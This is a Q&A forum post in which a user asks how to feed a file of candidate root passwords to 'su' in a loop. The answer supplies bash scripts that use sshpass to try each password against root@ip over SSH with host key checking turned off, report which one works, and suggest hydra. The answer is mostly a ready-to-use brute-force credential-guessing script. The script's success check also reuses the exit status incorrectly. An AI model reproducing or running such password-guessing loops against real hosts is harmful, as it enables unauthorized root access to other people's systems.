Entering Password in su- through loop

The Scenario is like I have a list of root passwords. But i don't want to keep trying Manually. So i wrote the shell script :

for i in {1..26}

do

su - >>result

done

and all my password are on a file "attempt.txt".

Now on Command Prompt i type the Command :

bash p2.sh < attempt.txt

But It shows errors : "Standard in must be a tty"

So is there some way I can enter these passwords through some codes or commands without manually typing each Of those? Please tell a command-line approach instead of some advanced utility software. I'm in it for learning. Thanks :)

Solution

You can test the password by making ssh connection in loop:

#!/bin/bash

sshpass -f<filename> ssh -o 'StrictHostKeyChecking no' -p port user@ip

You should just install sshpass on your system

This surely works:

sshpass -p'password' ssh -o 'StrictHostKeyChecking no' -p 22  root@ip

Try this one surely helps you:

for pass in $(cat /path/to/pass)
do
   sshpass -p$pass ssh -o 'StrictHostKeyChecking no' -p 22  root@ip
done

UPDATE

So if you want to get pretty output:

#!/bin/bash

for pass in $(cat /path/to/pass)
do
    echo -e "Reading $pass..."
    sshpass -p$pass ssh -o 'StrictHostKeyChecking no' -p 22  root@ip

    if [ "$?" -ne "0" ]; then
           echo -e "$pass is incorrect\n"
    elif [ "$?" -eq "0" ]; then 
           echo "SSH connection established with pass=$pass"
    fi
done

You can also test your passwords with hydra